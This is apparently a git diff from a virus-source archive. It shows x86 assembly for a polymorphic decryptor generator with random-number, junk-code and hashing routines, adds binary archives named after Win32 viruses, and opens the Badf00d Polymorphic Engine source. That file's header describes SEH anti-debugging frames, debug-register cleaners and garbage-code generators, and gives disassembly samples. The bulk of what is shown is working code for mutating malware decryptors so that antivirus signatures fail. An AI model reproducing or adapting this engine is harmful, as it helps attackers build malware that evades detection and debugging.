mov [ebp+1],al ; Save AL in temporary memory
|
||||||
|
or al,0B8h ; AL += B8h (opcode of MOV (REG),imm32)
|
||||||
|
stosb ; Write..
|
||||||
|
mov eax,[esp+CRPE_stack+arg4] ; imm32 = Size of buffer
|
||||||
|
stosd ; Write..
|
||||||
|
|
||||||
|
; Generate XOR/SUB (REG32_3),(REG32_3)
|
||||||
|
@rnd_2:
|
||||||
|
push 3 ;
|
||||||
|
call CRPE_rnd ; Get random number between 0-3
|
||||||
|
cmp [ebp],al ; AL = First value of AL ?
|
||||||
|
jz @rnd_2 ; Randomize again...
|
||||||
|
cmp [ebp+1],al ; AL = Second value of AL ?
|
||||||
|
jz @rnd_2 ; Randomize again...
|
||||||
|
mov [ebp+2],al ; Save AL in temporary memory...
|
||||||
|
mov bl,al ; BL = AL \
|
||||||
|
shl al,3 ; AL = AL * 8 > Optimized for speed
|
||||||
|
add al,bl ; AL+= BL /
|
||||||
|
or al,0C0h ; AL+= 0C0h (r32/r32)
|
||||||
|
mov ebx,eax ; EBX = EAX
|
||||||
|
push 1 ;
|
||||||
|
call CRPE_rnd ; Choose: SUB or XOR
|
||||||
|
or eax,eax ;
|
||||||
|
jz @@sub__ ;
|
||||||
|
@@xor__: ;
|
||||||
|
mov al,033h ; Generate: XOR
|
||||||
|
jmp @write0 ;
|
||||||
|
@@sub__: ;
|
||||||
|
mov al,02Bh ; Generate: SUB
|
||||||
|
@write0: ;
|
||||||
|
mov ah,bl ;
|
||||||
|
stosw ; Write..
|
||||||
|
|
||||||
|
; Generate: MOV (REG32_4),(REG32_3)
|
||||||
|
mov al,[ebp+2] ; EAX = [EBP+2] (Third value of AL)
|
||||||
|
xor al,[ebp+1] ; XOR AL,[EBP+1](Second value of AL)
|
||||||
|
xor al,[ebp] ; XOR AL,[EBP] (First value of AL)
|
||||||
|
mov [ebp+3],al ; Save AL in temporary memory
|
||||||
|
shl al,3 ; AL = AL * 8
|
||||||
|
or al,[ebp+2] ; AL = AL + REG32_3
|
||||||
|
or al,0C0h ; AL+= 0C0h
|
||||||
|
xchg al,ah ; Exchange: AL <-> AH
|
||||||
|
mov al,08Bh ; AL = 08Bh (MOV (r32),(r32) opcode)
|
||||||
|
stosw ; Write...
|
||||||
|
mov [ebp+0Ch],edi ; Save current position in temp. memory
|
||||||
|
|
||||||
|
; --- HASH BYTE ---
|
||||||
|
|
||||||
|
; Generate: XOR (REG32_3),MAGIC
|
||||||
|
mov [ebp+8],edi ; Save current position in temp. memory
|
||||||
|
mov al,bye [ebp+2] ; AL = REG32_3
|
||||||
|
or eax,eax ; AL != 0 ?
|
||||||
|
jnz @@normal_xor ; Normal version of XOR...
|
||||||
|
or al,035h ; Optimized version for EAX
|
||||||
|
stosb ; Write...
|
||||||
|
jmp @@immed32_of_xor ; Jump to put an immed32
|
||||||
|
@@normal_xor: ;
|
||||||
|
or al,0F0h ; AL+= 0F0h
|
||||||
|
mov ah,081h ; AH = 081h
|
||||||
|
xchg ah,al ; Exchange: AH <-> AL
|
||||||
|
stosw ; Write...
|
||||||
|
@@immed32_of_xor: ;
|
||||||
|
mov eax,[ebp+4] ; EAX = Saved "MAGIC" in temp. memory
|
||||||
|
stosd ; Write...
|
||||||
|
|
||||||
|
; Generate: REG32_3_LO8 ^= BUF[COUNTER-1]
|
||||||
|
mov al,032h ; XOR r8,mem opcode
|
||||||
|
stosb ; Write...
|
||||||
|
|
||||||
|
mov al,bye [ebp+2] ; AL = REG32_3
|
||||||
|
shl al,3 ; AL = AL * 8
|
||||||
|
add al,44h ; Identify R8,LOW of REG32_3
|
||||||
|
stosb ; Write...
|
||||||
|
|
||||||
|
mov al,[ebp] ; AL = REG32_1 \ Combination of registers
|
||||||
|
shl al,3 ; AL = Ah * 8 / Generate: [REG32_2+REG32_1]
|
||||||
|
add al,[ebp+1] ; AL+= REG32_2 /
|
||||||
|
mov ah,0FFh ; Generate: -1
|
||||||
|
stosw ; Write...
|
||||||
|
|
||||||
|
; Generate: ADD/OR (REG32_4),8
|
||||||
|
xor ecx,ecx ;
|
||||||
|
push 1 ;
|
||||||
|
call CRPE_rnd ; Choose: ADD or OR
|
||||||
|
xchg eax,ecx ;
|
||||||
|
jecxz @add_ ;
|
||||||
|
mov ah,8 ; Generate: OR
|
||||||
|
@add_: ; Generate: ADD
|
||||||
|
mov al,83h ;
|
||||||
|
or ah,[ebp+3] ; AH = REG32_4
|
||||||
|
or ah,0C0h ;
|
||||||
|
stosw ; Write...
|
||||||
|
mov al,8 ;
|
||||||
|
stosb ; Write...
|
||||||
|
mov [ebp+08h],edi ; Save current position in temp. memory
|
||||||
|
|
||||||
|
; --- HASH BIT ---
|
||||||
|
|
||||||
|
; TRASH or not
|
||||||
|
push 1 ;
|
||||||
|
call CRPE_rnd ; Choose: YES or NO
|
||||||
|
xchg eax,ecx ; Exchange: EAX <-> ECX
|
||||||
|
jecxz @no_trash2 ; ECX = 0 ? So, dont put trash
|
||||||
|
call CRPE_tg ; Put trash...
|
||||||
|
@no_trash2: ;
|
||||||
|
|
||||||
|
; Generate: SHL [REG32_3],1
|
||||||
|
mov al,0D1h ; SHL (REG),1 opcode
|
||||||
|
mov ah,[ebp+2] ; AH = REG32_3
|
||||||
|
or ah,0E0h ;
|
||||||
|
stosw ; Write..
|
||||||
|
|
||||||
|
; Generate: SBB [REG32_3], [REG32_4]
|
||||||
|
mov ah,[ebp+2] ; AH = REG32_3
|
||||||
|
shl ah,3 ; AH = AH * 8
|
||||||
|
add ah,[ebp+3] ; AH+= REG32_4
|
||||||
|
add ah,0C0h ;
|
||||||
|
mov al,01Bh ; AL = 01Bh (SBB opcode)
|
||||||
|
stosw ; Write..
|
||||||
|
|
||||||
|
; Generate: DEC [REG32_4]
|
||||||
|
mov al,[ebp+3] ; AL = REG32_4
|
||||||
|
add al,048h ; AL+= 048h (DEC REG opcode)
|
||||||
|
stosb ; Write..
|
||||||
|
|
||||||
|
; Generate: JNZ hash_bit (bit loop)
|
||||||
|
mov eax,[ebp+08h] ; EAX = hash_bit position
|
||||||
|
call CRPE_make_jnz ; Calcule the jump...
|
||||||
|
|
||||||
|
; Generate: DEC [REG32_2]
|
||||||
|
mov al,[ebp+1] ; AL = REG32_2
|
||||||
|
add al,048h ; AL+= 048h (DEC REG opcode)
|
||||||
|
stosb ; Write..
|
||||||
|
|
||||||
|
; Generate: JNZ hash_byte (byte loop)
|
||||||
|
mov eax,[ebp+0Ch] ; EAX = hash_bit position
|
||||||
|
call CRPE_make_jnz ; Calcule the jump...
|
||||||
|
|
||||||
|
; --- DECRYPTOR INIT ---
|
||||||
|
|
||||||
|
; Generate: REG32_1 = Encrypted area
|
||||||
|
mov al,08Bh ; AL = MOV opcode
|
||||||
|
stosb ; Write..
|
||||||
|
|
||||||
|
@rnd_3: ; Choose another REG32_1
|
||||||
|
push 3 ;
|
||||||
|
call CRPE_rnd ; Get random number between 0-7
|
||||||
|
cmp al,[ebp+2] ; AL = REG32_3 ?
|
||||||
|
jz @rnd_3 ; So try again..
|
||||||
|
cmp al,4 ; AL = ESP (4) ?
|
||||||
|
jz @rnd_3 ; So try again..
|
||||||
|
mov [ebp],al ; Save in temporary memory
|
||||||
|
shl al,3 ; AL = AL * 8
|
||||||
|
add al,044h ; AL+= 44h
|
||||||
|
stosb ; Write..
|
||||||
|
|
||||||
|
mov ax,2024h ; AX = 2024h (ESP+20h)
|
||||||
|
stosw ; Write..
|
||||||
|
|
||||||
|
; Generate: REG32_2 = Size of area - 4
|
||||||
|
@rnd_4: ; Choose another REG32_2
|
||||||
|
push 7 ;
|
||||||
|
call CRPE_rnd ; Get random number between 0-7
|
||||||
|
cmp al,[ebp+2] ; AL = REG32_3 ?
|
||||||
|
jz @rnd_4 ; So try again..
|
||||||
|
cmp al,[ebp] ; AL = REG32_1 ?
|
||||||
|
jz @rnd_4 ; So try again..
|
||||||
|
cmp al,4 ; AL = ESP (4) ?
|
||||||
|
jz @rnd_4 ; So try again..
|
||||||
|
mov [ebp+1],al ; Save in temporary memory
|
||||||
|
add al,0B8h ; AL+= B8h (MOV opcode)
|
||||||
|
stosb ; Write..
|
||||||
|
|
||||||
|
mov eax,[esp+CRPE_stack+arg2] ; EAX = immed32
|
||||||
|
sub eax,4 ; EAX-= 4
|
||||||
|
stosd ; Write..
|
||||||
|
|
||||||
|
; Generate: ADD [REG32_1] , [REG32_2]
|
||||||
|
|
||||||
|
mov ax,0C003h ; AX = ADD REG,REG opcode
|
||||||
|
mov bl,[ebp] ; AL = REG32_1
|
||||||
|
shl bl,3 ; Second reg..
|
||||||
|
or bl,[ebp+1] ; REG32_2, first reg..
|
||||||
|
or ah,bl ;
|
||||||
|
stosw ; Write..
|
||||||
|
|
||||||
|
; --- DECRYPTOR LOOP ---
|
||||||
|
|
||||||
|
mov [ebp+04],edi ; Save current position in temporary mem.
|
||||||
|
|
||||||
|
; Generate: XOR [REG32_1],[REG32_3]
|
||||||
|
mov al,031h ; XOR [DS:REG],REG opcode
|
||||||
|
mov ah,[ebp+2] ; REG32_2
|
||||||
|
shl ah,3 ; First reg
|
||||||
|
add ah,[ebp] ; REG32_2, second reg
|
||||||
|
stosw ; Write..
|
||||||
|
|
||||||
|
; Generate: XOR [REG32_3],[REG32_2]
|
||||||
|
mov ah,[ebp+2] ; AH = REG32_3
|
||||||
|
shl ah,3 ; AH = AH * 8
|
||||||
|
add ah,0C0h ; AH+= C0h
|
||||||
|
or ah,[ebp+1] ; AH+= REG32_2
|
||||||
|
mov al,033h ; AL = 33h (XOR opcode)
|
||||||
|
stosw ; Write..
|
||||||
|
|
||||||
|
; Generate some trash or not
|
||||||
|
push 1 ;
|
||||||
|
call CRPE_rnd ; Choose: YES or NO
|
||||||
|
xchg eax,ecx ;
|
||||||
|
jecxz @no_trash3 ;
|
||||||
|
call CRPE_tg ;
|
||||||
|
@no_trash3:
|
||||||
|
|
||||||
|
; Generate: DEC [REG32_1] ;
|
||||||
|
mov al,[ebp] ; REG32_1
|
||||||
|
add al,048h ;
|
||||||
|
stosb ; write..
|
||||||
|
|
||||||
|
; Generate: DEC [REG32_2]
|
||||||
|
mov al,[ebp+1] ; REG32_2
|
||||||
|
add al,048h ;
|
||||||
|
stosb ; write..
|
||||||
|
|
||||||
|
; Generate: JNS DECRYPTOR_LOOP
|
||||||
|
mov eax,[ebp+4] ; EAX = DECRYPTOR_LOOP position
|
||||||
|
call CRPE_make_jnz ; Calculate jump
|
||||||
|
mov bye [edi-2],079h ; JNS
|
||||||
|
|
||||||
|
; --- TRASH + POPAD ---
|
||||||
|
|
||||||
|
; TRASH or not ;
|
||||||
|
push 1 ;
|
||||||
|
call CRPE_rnd ; Choose: YES or NO
|
||||||
|
xchg eax,ecx ;
|
||||||
|
jecxz @no_trash4 ;
|
||||||
|
call CRPE_tg ;
|
||||||
|
@no_trash4: ;
|
||||||
|
|
||||||
|
; Generate: POPAD
|
||||||
|
mov al,061h ; AL = POPAD opcode
|
||||||
|
stosb ; Write..
|
||||||
|
|
||||||
|
; --- TRASH + RET ---
|
||||||
|
|
||||||
|
; TRASH or not
|
||||||
|
push 1 ;
|
||||||
|
call CRPE_rnd ; Choose: YES or NO
|
||||||
|
xchg eax,ecx ; Exchange: EAX <-> ECX
|
||||||
|
jecxz @no_trash5 ; ECX = 0 ? So, dont put trash
|
||||||
|
call CRPE_tg ; Put trash...
|
||||||
|
@no_trash5: ;
|
||||||
|
|
||||||
|
; Generate: RET ;
|
||||||
|
mov al,0C3h ; AL = 0C3h (RET opcode)
|
||||||
|
stosb ; Write...
|
||||||
|
|
||||||
|
; Calculate return value & Unset memory & Restores regs & Return
|
||||||
|
mov eax,[esp+CRPE_stack+arg3] ; EAX = Initial buffer
|
||||||
|
sub edi,eax
|
||||||
|
mov [esp+CRPE_tmp+STACK_REG._EAX],edi
|
||||||
|
add esp,CRPE_tmp
|
||||||
|
popad
|
||||||
|
ret 18h
|
||||||
|
|
||||||
|
; Common rotine to calculate SHORT jnz's
|
||||||
|
CRPE_make_jnz:
|
||||||
|
inc edi ;
|
||||||
|
inc edi ;
|
||||||
|
sub eax,edi ; EAX-= Current position
|
||||||
|
mov ah,075h ; AH = 75h (JNZ opcode)
|
||||||
|
xchg ah,al ; Exchange: AH <-> AL
|
||||||
|
mov [edi-2],ax ; Write..
|
||||||
|
ret ; Return..
|
||||||
|
|
||||||
|
CRPE_make endp
|
||||||
|
|
||||||
|
;-------------------------------------------------------------------------------
|
||||||
|
; INTERNAL FUNCTIONS, DONT WORRY ABOUT IT ;)
|
||||||
|
;-------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
; - Random number generator beetween 0-[Arg1]
|
||||||
|
; Input: Arg1 = Range
|
||||||
|
; Output: EAX = Random number
|
||||||
|
|
||||||
|
CRPE_rnd proc
|
||||||
|
|
||||||
|
pushad ; Save registers..
|
||||||
|
|
||||||
|
rdtsc ; CPU TIME-STAMP in EDX:EAX
|
||||||
|
xor edx,esp ;
|
||||||
|
xor eax,edx ;
|
||||||
|
|
||||||
|
mov ecx,[esp+STACK_REGS+4] ; ECX = Arg1
|
||||||
|
inc ecx ;
|
||||||
|
jecxz CRPE_rnd_fim ;
|
||||||
|
|
||||||
|
xor edx,edx ; EDX = 0
|
||||||
|
div ecx ; EAX = EAX / Arg1
|
||||||
|
mov eax,edx ; EAX = Rest
|
||||||
|
|
||||||
|
CRPE_rnd_fim:
|
||||||
|
mov [esp+STACK_REG._EAX],eax
|
||||||
|
|
||||||
|
popad ; Restore registers..
|
||||||
|
ret 4h ; Return..
|
||||||
|
|
||||||
|
CRPE_rnd endp
|
||||||
|
|
||||||
|
; - Trash generator (max.: 21 bytes | min.: 2 bytes)
|
||||||
|
; Input: EDI = Buffer
|
||||||
|
; Output: EDI = Buffer (updated)
|
||||||
|
|
||||||
|
CRPE_tg proc
|
||||||
|
|
||||||
|
pushad ; Save registers
|
||||||
|
|
||||||
|
push 3 ;
|
||||||
|
call CRPE_rnd ; Get random number between 0-3
|
||||||
|
|
||||||
|
dec eax ;
|
||||||
|
js @trash1 ;
|
||||||
|
dec eax ;
|
||||||
|
jz @trash2 ;
|
||||||
|
dec eax ;
|
||||||
|
jz @trash3 ;
|
||||||
|
|
||||||
|
; Generate: PUSH (REG Y) / POP (REG Y)
|
||||||
|
@trash4:
|
||||||
|
push 7 ;
|
||||||
|
call CRPE_rnd ; Get random number between 0-7
|
||||||
|
add al,50h ; Generate PUSH (REG)
|
||||||
|
mov ah,al ;
|
||||||
|
add ah,8 ; Generate POP (REG)
|
||||||
|
stosw ; write..
|
||||||
|
|
||||||
|
push 1 ; Choose next trash routine...
|
||||||
|
call CRPE_rnd ;
|
||||||
|
xchg eax,ecx ;
|
||||||
|
jecxz @trash2 ;
|
||||||
|
|
||||||
|
; Generate: MOV (REG X),(REG X)
|
||||||
|
@trash3:
|
||||||
|
push 7 ;
|
||||||
|
call CRPE_rnd ; Get random number between 0-7
|
||||||
|
mov bl,al ; BL = AL \
|
||||||
|
shl al,3 ; AL = AL * 8 > Optimized for speed
|
||||||
|
add al,bl ; AL+= BL /
|
||||||
|
add al,0C0h ; AL+= 0C0h
|
||||||
|
mov ah,08Bh ; Generater MOV (REG X),(REG X)
|
||||||
|
xchg ah,al ; Exchange: AH <-> AL
|
||||||
|
stosw ; write...
|
||||||
|
|
||||||
|
push 1 ; Choose next trash routine...
|
||||||
|
call CRPE_rnd ;
|
||||||
|
xchg eax,ecx ;
|
||||||
|
jecxz @trash1 ;
|
||||||
|
|
||||||
|
; Generate: CMP/TEST (REG X),(REG Y)
|
||||||
|
@trash2:
|
||||||
|
push 03Fh ;
|
||||||
|
call CRPE_rnd ; Get random number between 0-63
|
||||||
|
xchg bl,al ; Exchange: BL <-> AL
|
||||||
|
add bl,0C0h ; BL+= 0C0h
|
||||||
|
push 1 ;
|
||||||
|
call CRPE_rnd ; Choose: CMP or TEST
|
||||||
|
or eax,eax ;
|
||||||
|
jz @@_cmp ;
|
||||||
|
@@_test: ;
|
||||||
|
mov al,085h ; Generate: TEST opcode
|
||||||
|
jmp @@write_trash_ ;
|
||||||
|
@@_cmp: ;
|
||||||
|
mov al,03Bh ; Generate: CMP opcode
|
||||||
|
@@write_trash_: ;
|
||||||
|
mov ah,bl ; AH = BL
|
||||||
|
stosw ; Write...
|
||||||
|
jmp @trash_end
|
||||||
|
|
||||||
|
; Generate: CALL (XXXX) | ESP-4
|
||||||
|
@trash1:
|
||||||
|
mov al,0E8h ;
|
||||||
|
stosb ; Generate CALL opcode
|
||||||
|
|
||||||
|
push 8 ;
|
||||||
|
call CRPE_rnd ; Get random number between 0-8
|
||||||
|
inc eax ; EAX++
|
||||||
|
stosd ; Generate imm32 of CALL
|
||||||
|
|
||||||
|
mov ecx,eax ; ECX = EAX (imm32)
|
||||||
|
@@repeat_trash: ;
|
||||||
|
push -1 ;
|
||||||
|
call CRPE_rnd ; Generate random number in EAX
|
||||||
|
stosb ; write al
|
||||||
|
loop @@repeat_trash ; (ECX) times...
|
||||||
|
|
||||||
|
push 1 ;
|
||||||
|
call CRPE_rnd ; Choose: ADD ESP,4 or
|
||||||
|
xchg eax,ecx ; INC ESP / INC ESP / INC ESP / INC ESP
|
||||||
|
jecxz @@4dec_esp ;
|
||||||
|
|
||||||
|
mov al,83h ;
|
||||||
|
stosb ; Generate ADD ESP,4
|
||||||
|
mov ax,04C4h ;
|
||||||
|
stosw ;
|
||||||
|
jmp @trash_end ; No more trash...
|
||||||
|
|
||||||
|
@@4dec_esp: ;
|
||||||
|
mov eax,44444444h ; Generate INC ESP, 4 times
|
||||||
|
stosd ;
|
||||||
|
|
||||||
|
@trash_end:
|
||||||
|
mov [esp+STACK_REG._EDI],edi ; Update EDI...
|
||||||
|
popad ; Restore registers
|
||||||
|
ret ; Return...
|
||||||
|
|
||||||
|
CRPE_tg endp
|
||||||
|
|
||||||
|
; - Hashing
|
||||||
|
; Input:
|
||||||
|
; Arg1 = Pointer to data to hash
|
||||||
|
; Arg2 = Size of data to hash
|
||||||
|
; Arg3 = MAGIC
|
||||||
|
; Outrput:
|
||||||
|
; EAX = Hashed data
|
||||||
|
|
||||||
|
CRPE_hash proc
|
||||||
|
|
||||||
|
pushad ; Save regs.
|
||||||
|
|
||||||
|
mov edx,[esp+STACK_REGS+4] ; EDX = Buffer
|
||||||
|
mov ecx,[esp+STACK_REGS+8] ; ECX = Size of buffer (byte counter)
|
||||||
|
xor eax,eax ; EAX = 0 (reader / hasher)
|
||||||
|
mov ebx,eax ; EBX = 0 (bit counter)
|
||||||
|
|
||||||
|
@@@hash_byte: ;
|
||||||
|
xor eax,[esp+STACK_REGS+12] ;
|
||||||
|
xor al,[edx+ecx-1] ;
|
||||||
|
or bl,8 ;
|
||||||
|
|
||||||
|
@@@hash_bit: ;
|
||||||
|
shl eax,1 ;
|
||||||
|
sbb eax,ebx ;
|
||||||
|
dec ebx ;
|
||||||
|
jnz @@@hash_bit ; EBX != 0 ? Go to the next bit...
|
||||||
|
|
||||||
|
dec ecx ;
|
||||||
|
jnz @@@hash_byte ; ECX != 0 ? Go to the next byte...
|
||||||
|
|
||||||
|
mov [esp+STACK_REG._EAX],eax ;
|
||||||
|
|
||||||
|
popad ; Restore regs.
|
||||||
|
ret 0Ch ; Return...
|
||||||
|
|
||||||
|
CRPE_hash endp
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
BIN
Engines/Virus.Win32.Simple.7z
Normal file
BIN
Engines/Virus.Win32.Simple.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Spectr0.7z
Normal file
BIN
Engines/Virus.Win32.Spectr0.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Vpe.7z
Normal file
BIN
Engines/Virus.Win32.Vpe.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Xtg.7z
Normal file
BIN
Engines/Virus.Win32.Xtg.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Yad13.7z
Normal file
BIN
Engines/Virus.Win32.Yad13.7z
Normal file
Binary file not shown.
990
Engines/Virus.Win32.badf00d.asm
Normal file
990
Engines/Virus.Win32.badf00d.asm
Normal file
@ -0,0 +1,990 @@
|
|||||||
|
comment $
|
||||||
|
|
||||||
|
|
||||||
|
\`. |\
|
||||||
|
\`-. \ `.| \!,,
|
||||||
|
\ \ `.\ _ (__
|
||||||
|
_ `-.> \ ___ \ __ ------------------------------------------
|
||||||
|
`-/,o-./O `. ._` Badf00d Polymorphic Engine
|
||||||
|
-// j_ | `` _<` ------------------------------------------
|
||||||
|
|\__( \--' ' \ . by Piotr Bania <bania.piotr@gmail.com>
|
||||||
|
> _ `--' _/ ; http://pb.specialised.info
|
||||||
|
| / `----.. . / (
|
||||||
|
| ( `. Y )
|
||||||
|
\ \ ,-.-.| |_ (_
|
||||||
|
`.`.___\ \ \/=.`. __) a little bit of this,
|
||||||
|
`--,==\ )==\,\ (_ a little bit of that
|
||||||
|
,'\===`--'====\,\ `-.
|
||||||
|
,'.` ============\,\ (`-'
|
||||||
|
/`=.`Y=============\,\ .'
|
||||||
|
/`-. `|==============\_,-._
|
||||||
|
/`-._`=|=___=========,'^, c-)
|
||||||
|
\`-----+' ._)=====_(_`-' ^-'`-.
|
||||||
|
-----`=====, \ `.-==(^_ ^c_,.^ `^_\-----
|
||||||
|
(__/`--'('(_,-._)-._,-.,__)`) hjw
|
||||||
|
`-._`._______.'_.-'
|
||||||
|
`---------'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Disclaimer__________________________________________________________________________________]
|
||||||
|
|
||||||
|
Author takes no responsibility for any actions with provided informations or codes.
|
||||||
|
The copyright for any material created by the author is reserved. Any duplication of
|
||||||
|
codes or texts provided here in electronic or printed publications is not permitted
|
||||||
|
without the author's agreement. If you disagree - leave now!
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Introduction________________________________________________________________________________]
|
||||||
|
|
||||||
|
I must confess i was pretty bored and that's why i have written this engine. Meanwhile
|
||||||
|
i was also thinking about some PE encrypter, so sooner or later i got to produce some
|
||||||
|
poly engine for it. This little thingie was written in 2 days (few hours each day).
|
||||||
|
Current version is super beta, drop me an mail if you will find any errors.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Features____________________________________________________________________________________]
|
||||||
|
|
||||||
|
+ SEH frames generator (int3/sti/cli exceptions, BPM removers (dr0-3 cleaners), random
|
||||||
|
registry usage, random size of garbage block (return address is calculated via size
|
||||||
|
of the generated junks), generated SEH block looks like this:
|
||||||
|
|
||||||
|
|
||||||
|
* SNIP *
|
||||||
|
00402814 E8 3D000000 CALL pol.00402856
|
||||||
|
00402819 8BD4 MOV EDX,ESP ; generated REG
|
||||||
|
0040281B 81C2 0C000000 ADD EDX,0C
|
||||||
|
00402821 8B12 MOV EDX,DWORD PTR DS:[EDX]
|
||||||
|
00402823 C782 04000000 00>MOV DWORD PTR DS:[EDX+4],0
|
||||||
|
0040282D C782 08000000 00>MOV DWORD PTR DS:[EDX+8],0
|
||||||
|
00402837 C782 12000000 00>MOV DWORD PTR DS:[EDX+12],0
|
||||||
|
00402841 C782 16000000 00>MOV DWORD PTR DS:[EDX+16],0
|
||||||
|
0040284B 8182 B8000000 05>ADD DWORD PTR DS:[EDX+B8],5 ; calcs return addr
|
||||||
|
00402855 C3 RETN
|
||||||
|
00402856 33C9 XOR ECX,ECX
|
||||||
|
00402858 64:FF31 PUSH DWORD PTR FS:[ECX]
|
||||||
|
0040285B 64:8921 MOV DWORD PTR FS:[ECX],ESP
|
||||||
|
0040285E CC INT3
|
||||||
|
0040285F AF SCAS DWORD PTR ES:[EDI]
|
||||||
|
00402860 C8 50C933 ENTER 0C950,33
|
||||||
|
00402864 C0648F 00 5A SHL BYTE PTR DS:[EDI+ECX*4],5A
|
||||||
|
* SNIP *
|
||||||
|
|
||||||
|
As you can see doing only regswaping is not a good solution (still signature can be
|
||||||
|
generated - look RegSwap virus description), prolly it is better to mix randomly SEH
|
||||||
|
instructions with garbage. Use your imagination.
|
||||||
|
|
||||||
|
|
||||||
|
+ safe garbage generator (generates stepable garbage code, moreover user can specyfi
|
||||||
|
what registers should be used and what should be not, this feature gives an
|
||||||
|
advantage to mix original code together with garbage code, without destroying the
|
||||||
|
values from orginal one), like this snipet shows:
|
||||||
|
|
||||||
|
|
||||||
|
* SNIP - ALL REGS ALLOWED *
|
||||||
|
00402814 F7D2 NOT EDX
|
||||||
|
00402816 D1D3 RCL EBX,1
|
||||||
|
00402818 9B WAIT
|
||||||
|
00402819 9B WAIT
|
||||||
|
0040281A D1F9 SAR ECX,1
|
||||||
|
0040281C 93 XCHG EAX,EBX
|
||||||
|
0040281D 81C3 B9B1F0A8 ADD EBX,A8F0B1B9
|
||||||
|
00402823 F9 STC
|
||||||
|
00402824 81EF 73D13C4E SUB EDI,4E3CD173
|
||||||
|
0040282A 3BC7 CMP EAX,EDI
|
||||||
|
0040282C FD STD
|
||||||
|
0040282D 2BC6 SUB EAX,ESI
|
||||||
|
0040282F 57 PUSH EDI
|
||||||
|
00402830 81C9 6FA7215F OR ECX,5F21A76F
|
||||||
|
00402836 33F3 XOR ESI,EBX
|
||||||
|
00402838 F7D8 NEG EAX
|
||||||
|
0040283A 1BCE SBB ECX,ESI
|
||||||
|
* SNIP - ALL REGS ALLOWED *
|
||||||
|
|
||||||
|
|
||||||
|
* SNIP - ALLOWED EAX/EBX *
|
||||||
|
00402814 F7DB NEG EBX
|
||||||
|
00402816 F7D0 NOT EAX
|
||||||
|
00402818 85C3 TEST EBX,EAX
|
||||||
|
0040281A F8 CLC
|
||||||
|
0040281B 90 NOP
|
||||||
|
0040281C C7C3 BB153882 MOV EBX,823815BB
|
||||||
|
00402822 F7D8 NEG EAX
|
||||||
|
00402824 09DB OR EBX,EBX
|
||||||
|
00402826 D1D3 RCL EBX,1
|
||||||
|
00402828 D1D8 RCR EAX,1
|
||||||
|
0040282A EB 00 JMP SHORT pol.0040282C
|
||||||
|
0040282C 81EB 011DAF21 SUB EBX,21AF1D01
|
||||||
|
00402832 81E8 3BB25C3B SUB EAX,3B5CB23B
|
||||||
|
00402838 F8 CLC
|
||||||
|
* SNIP - ALLOWED EAX/EBX *
|
||||||
|
|
||||||
|
|
||||||
|
+ hardcore garbage generator (generates jmp over_garbage and generates garbage stepable
|
||||||
|
or totaly randomized - this one will be never executed), like here:
|
||||||
|
|
||||||
|
|
||||||
|
* SNIP - SOME GARBAGE CODE *
|
||||||
|
00402810 EB 14 JMP SHORT pol.00402826
|
||||||
|
00402812 CB RETF
|
||||||
|
00402813 69A0 1C1E85D1 F9>IMUL ESP,DWORD PTR DS:[EAX+D1851E1C],886>
|
||||||
|
0040281D F2: PREFIX REPNE:
|
||||||
|
0040281E 4B DEC EBX
|
||||||
|
0040281F 85FF TEST EDI,EDI
|
||||||
|
00402821 198A 797CF6EB SBB DWORD PTR DS:[EDX+EBF67C79],ECX
|
||||||
|
00402827 0C C8 OR AL,0C8
|
||||||
|
* SNIP - SOME GARBAGE CODE *
|
||||||
|
|
||||||
|
|
||||||
|
+ backwards jumps generator (generates some funny jumps :))
|
||||||
|
|
||||||
|
* SNIP *
|
||||||
|
0040280C EB 3A JMP SHORT pol.00402848
|
||||||
|
0040280E 33FE XOR EDI,ESI
|
||||||
|
00402810 EB 3B JMP SHORT pol.0040284D
|
||||||
|
00402812 AE SCAS BYTE PTR ES:[EDI]
|
||||||
|
00402813 ^73 C8 JNB SHORT pol.004027DD
|
||||||
|
00402815 71 13 JNO SHORT pol.0040282A
|
||||||
|
00402817 90 NOP
|
||||||
|
00402818 5E POP ESI
|
||||||
|
00402819 C2 AFE0 RETN 0E0AF
|
||||||
|
0040281C BB 8406103D MOV EBX,3D100684
|
||||||
|
00402821 60 PUSHAD
|
||||||
|
00402822 E5 77 IN EAX,77
|
||||||
|
00402824 2AC4 SUB AL,AH
|
||||||
|
00402826 59 POP ECX
|
||||||
|
00402827 3E:5C POP ESP
|
||||||
|
00402829 0E PUSH CS
|
||||||
|
0040282A 67:73 7A JNB SHORT pol.004028A7
|
||||||
|
0040282D AF SCAS DWORD PTR ES:[EDI]
|
||||||
|
0040282E 27 DAA
|
||||||
|
0040282F 0880 3B2E3EF3 OR BYTE PTR DS:[EAX+F33E2E3B],AL
|
||||||
|
00402835 5D POP EBP
|
||||||
|
00402836 52 PUSH EDX
|
||||||
|
00402837 D9FB FSINCOS
|
||||||
|
00402839 ^E1 BD LOOPDE SHORT pol.004027F8
|
||||||
|
0040283B 4E DEC ESI
|
||||||
|
0040283C 53 PUSH EBX
|
||||||
|
0040283D 4D DEC EBP
|
||||||
|
0040283E 62D6 BOUND EDX,ESI
|
||||||
|
00402840 A7 CMPS DWORD PTR DS:[ESI],DWORD PTR ES:[ED>
|
||||||
|
00402841 FF49 8C DEC DWORD PTR DS:[ECX-74]
|
||||||
|
00402844 07 POP ES
|
||||||
|
00402845 56 PUSH ESI
|
||||||
|
00402846 7A 15 JPE SHORT pol.0040285D
|
||||||
|
00402848 9B WAIT
|
||||||
|
00402849 ^EB C5 JMP SHORT pol.00402810
|
||||||
|
0040284B 6E OUTS DX,BYTE PTR ES:[EDI]
|
||||||
|
0040284C 45 INC EBP
|
||||||
|
* SNIP *
|
||||||
|
|
||||||
|
|
||||||
|
TODO________________________________________________________________________________________]
|
||||||
|
|
||||||
|
+ code some multiple decryption routines (xlat/xor/etc. etc - backwards/forwards)
|
||||||
|
+ add some checksum checker routines
|
||||||
|
+ code new engine :))
|
||||||
|
|
||||||
|
|
||||||
|
Sample_usage________________________________________________________________________________]
|
||||||
|
|
||||||
|
* SNIP *
|
||||||
|
